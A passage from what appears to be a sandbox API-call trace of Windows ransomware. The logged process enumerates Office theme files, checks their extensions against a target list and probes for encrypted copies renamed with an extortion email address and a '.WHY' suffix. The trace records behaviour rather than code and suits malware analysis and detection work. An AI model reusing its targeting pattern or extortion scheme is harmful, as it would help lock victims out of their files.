lstrlenW (lpString=".7z") returned 3 [0227.166] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0227.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.166] lstrlenW (lpString=".dbf") returned 4 [0227.166] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0227.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.166] lstrlenW (lpString=".1cd") returned 4 [0227.166] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0227.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.167] lstrlenW (lpString=".jpg") returned 4 [0227.167] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0227.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.167] lstrlenW (lpString=".doc") returned 4 [0227.167] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0227.167] lstrlenW (lpString=".docx") returned 5 [0227.167] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0227.167] lstrlenW (lpString=".pdf") returned 4 [0227.167] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0227.167] lstrlenW (lpString=".xls") returned 4 [0227.167] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0227.167] lstrlenW (lpString=".xlsx") returned 5 [0227.168] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0227.168] lstrlenW (lpString=".ppt") returned 4 [0227.168] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0227.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.168] lstrlenW (lpString=".zip") returned 4 [0227.168] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0227.168] lstrlenW (lpString=".rar") returned 4 [0227.168] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0227.168] lstrlenW (lpString=".bz2") returned 4 [0227.168] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0227.168] lstrlenW (lpString=".7z") returned 3 [0227.168] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0227.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.168] lstrlenW (lpString=".dbf") returned 4 [0227.168] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0227.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.169] lstrlenW (lpString=".1cd") returned 4 [0227.169] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0227.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.169] lstrlenW (lpString=".jpg") returned 4 [0227.169] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0227.169] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0227.169] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0227.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0227.170] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1379) returned 1 [0227.170] CloseHandle (hObject=0x38c) returned 1 [0227.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0227.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.171] lstrlenW (lpString=".doc") returned 4 [0227.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.171] lstrlenW (lpString=".docx") returned 5 [0227.171] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.171] lstrlenW (lpString=".pdf") returned 4 [0227.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.171] lstrlenW (lpString=".xls") returned 4 [0227.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.172] lstrlenW (lpString=".xlsx") returned 5 [0227.172] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.172] lstrlenW (lpString=".ppt") returned 4 [0227.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.172] lstrlenW (lpString=".zip") returned 4 [0227.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.172] lstrlenW (lpString=".rar") returned 4 [0227.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.172] lstrlenW (lpString=".bz2") returned 4 [0227.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.172] lstrlenW (lpString=".7z") returned 3 [0227.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.173] lstrlenW (lpString=".dbf") returned 4 [0227.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.173] lstrlenW (lpString=".1cd") returned 4 [0227.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.173] lstrlenW (lpString=".jpg") returned 4 [0227.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.173] lstrlenW (lpString=".doc") returned 4 [0227.173] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.174] lstrlenW (lpString=".docx") returned 5 [0227.174] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.174] lstrlenW (lpString=".pdf") returned 4 [0227.174] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.174] lstrlenW (lpString=".xls") returned 4 [0227.174] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.174] lstrlenW (lpString=".xlsx") returned 5 [0227.174] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.174] lstrlenW (lpString=".ppt") returned 4 [0227.174] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.175] lstrlenW (lpString=".zip") returned 4 [0227.175] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.175] lstrlenW (lpString=".rar") returned 4 [0227.175] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.175] lstrlenW (lpString=".bz2") returned 4 [0227.175] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.175] lstrlenW (lpString=".7z") returned 3 [0227.175] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.175] lstrlenW (lpString=".dbf") returned 4 [0227.175] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.175] lstrlenW (lpString=".1cd") returned 4 [0227.175] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0227.176] lstrlenW (lpString=".jpg") returned 4 [0227.176] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.176] lstrcmpiW (lpString1=".PNG", lpString2=".WHY") returned -1 [0227.176] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0227.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0227.177] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=48115) returned 1 [0227.177] CloseHandle (hObject=0x38c) returned 1 [0227.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0227.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.178] lstrlenW (lpString=".doc") returned 4 [0227.178] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0227.178] lstrlenW (lpString=".docx") returned 5 [0227.178] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0227.178] lstrlenW (lpString=".pdf") returned 4 [0227.178] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0227.178] lstrlenW (lpString=".xls") returned 4 [0227.178] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0227.179] lstrlenW (lpString=".xlsx") returned 5 [0227.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0227.179] lstrlenW (lpString=".ppt") returned 4 [0227.179] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0227.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.179] lstrlenW (lpString=".zip") returned 4 [0227.179] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0227.179] lstrlenW (lpString=".rar") returned 4 [0227.179] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0227.179] lstrlenW (lpString=".bz2") returned 4 [0227.179] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0227.179] lstrlenW (lpString=".7z") returned 3 [0227.180] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0227.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.180] lstrlenW (lpString=".dbf") returned 4 [0227.180] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0227.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.180] lstrlenW (lpString=".1cd") returned 4 [0227.180] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0227.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.180] lstrlenW (lpString=".jpg") returned 4 [0227.180] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0227.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.181] lstrlenW (lpString=".doc") returned 4 [0227.181] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0227.181] lstrlenW (lpString=".docx") returned 5 [0227.181] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0227.181] lstrlenW (lpString=".pdf") returned 4 [0227.181] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0227.181] lstrlenW (lpString=".xls") returned 4 [0227.181] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0227.181] lstrlenW (lpString=".xlsx") returned 5 [0227.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0227.181] lstrlenW (lpString=".ppt") returned 4 [0227.181] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0227.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.182] lstrlenW (lpString=".zip") returned 4 [0227.182] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0227.182] lstrlenW (lpString=".rar") returned 4 [0227.182] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0227.182] lstrlenW (lpString=".bz2") returned 4 [0227.182] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0227.182] lstrlenW (lpString=".7z") returned 3 [0227.182] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0227.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.182] lstrlenW (lpString=".dbf") returned 4 [0227.182] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0227.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.182] lstrlenW (lpString=".1cd") returned 4 [0227.183] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0227.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0227.183] lstrlenW (lpString=".jpg") returned 4 [0227.183] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0227.183] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0227.183] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0227.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0227.184] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1364) returned 1 [0227.184] CloseHandle (hObject=0x38c) returned 1 [0227.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0227.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.185] lstrlenW (lpString=".doc") returned 4 [0227.185] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.185] lstrlenW (lpString=".docx") returned 5 [0227.185] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.185] lstrlenW (lpString=".pdf") returned 4 [0227.185] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.186] lstrlenW (lpString=".xls") returned 4 [0227.186] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.186] lstrlenW (lpString=".xlsx") returned 5 [0227.186] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.186] lstrlenW (lpString=".ppt") returned 4 [0227.186] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.186] lstrlenW (lpString=".zip") returned 4 [0227.186] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.186] lstrlenW (lpString=".rar") returned 4 [0227.186] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.186] lstrlenW (lpString=".bz2") returned 4 [0227.186] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.186] lstrlenW (lpString=".7z") returned 3 [0227.187] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.187] lstrlenW (lpString=".dbf") returned 4 [0227.187] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.187] lstrlenW (lpString=".1cd") returned 4 [0227.187] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.187] lstrlenW (lpString=".jpg") returned 4 [0227.187] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.188] lstrlenW (lpString=".doc") returned 4 [0227.188] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.188] lstrlenW (lpString=".docx") returned 5 [0227.188] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.188] lstrlenW (lpString=".pdf") returned 4 [0227.188] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.188] lstrlenW (lpString=".xls") returned 4 [0227.188] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.188] lstrlenW (lpString=".xlsx") returned 5 [0227.188] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.188] lstrlenW (lpString=".ppt") returned 4 [0227.189] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.189] lstrlenW (lpString=".zip") returned 4 [0227.189] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.189] lstrlenW (lpString=".rar") returned 4 [0227.189] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.189] lstrlenW (lpString=".bz2") returned 4 [0227.189] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.189] lstrlenW (lpString=".7z") returned 3 [0227.189] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.189] lstrlenW (lpString=".dbf") returned 4 [0227.189] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.190] lstrlenW (lpString=".1cd") returned 4 [0227.190] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0227.190] lstrlenW (lpString=".jpg") returned 4 [0227.190] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.190] lstrcmpiW (lpString1=".PNG", lpString2=".WHY") returned -1 [0227.190] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0227.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.482] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=11573) returned 1 [0227.482] CloseHandle (hObject=0x2d0) returned 1 [0227.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0227.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.483] lstrlenW (lpString=".doc") returned 4 [0227.483] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0227.483] lstrlenW (lpString=".docx") returned 5 [0227.483] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0227.483] lstrlenW (lpString=".pdf") returned 4 [0227.483] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0227.483] lstrlenW (lpString=".xls") returned 4 [0227.483] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0227.483] lstrlenW (lpString=".xlsx") returned 5 [0227.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0227.484] lstrlenW (lpString=".ppt") returned 4 [0227.484] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0227.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.484] lstrlenW (lpString=".zip") returned 4 [0227.484] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0227.484] lstrlenW (lpString=".rar") returned 4 [0227.484] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0227.484] lstrlenW (lpString=".bz2") returned 4 [0227.484] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0227.484] lstrlenW (lpString=".7z") returned 3 [0227.484] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0227.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.484] lstrlenW (lpString=".dbf") returned 4 [0227.484] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0227.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.484] lstrlenW (lpString=".1cd") returned 4 [0227.485] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0227.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.485] lstrlenW (lpString=".jpg") returned 4 [0227.485] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0227.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.485] lstrlenW (lpString=".doc") returned 4 [0227.485] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0227.485] lstrlenW (lpString=".docx") returned 5 [0227.485] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0227.485] lstrlenW (lpString=".pdf") returned 4 [0227.485] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0227.485] lstrlenW (lpString=".xls") returned 4 [0227.485] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0227.486] lstrlenW (lpString=".xlsx") returned 5 [0227.486] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0227.486] lstrlenW (lpString=".ppt") returned 4 [0227.486] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0227.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0227.486] lstrlenW (lpString=".zip") returned 4 [0227.486] lstrcmpiW 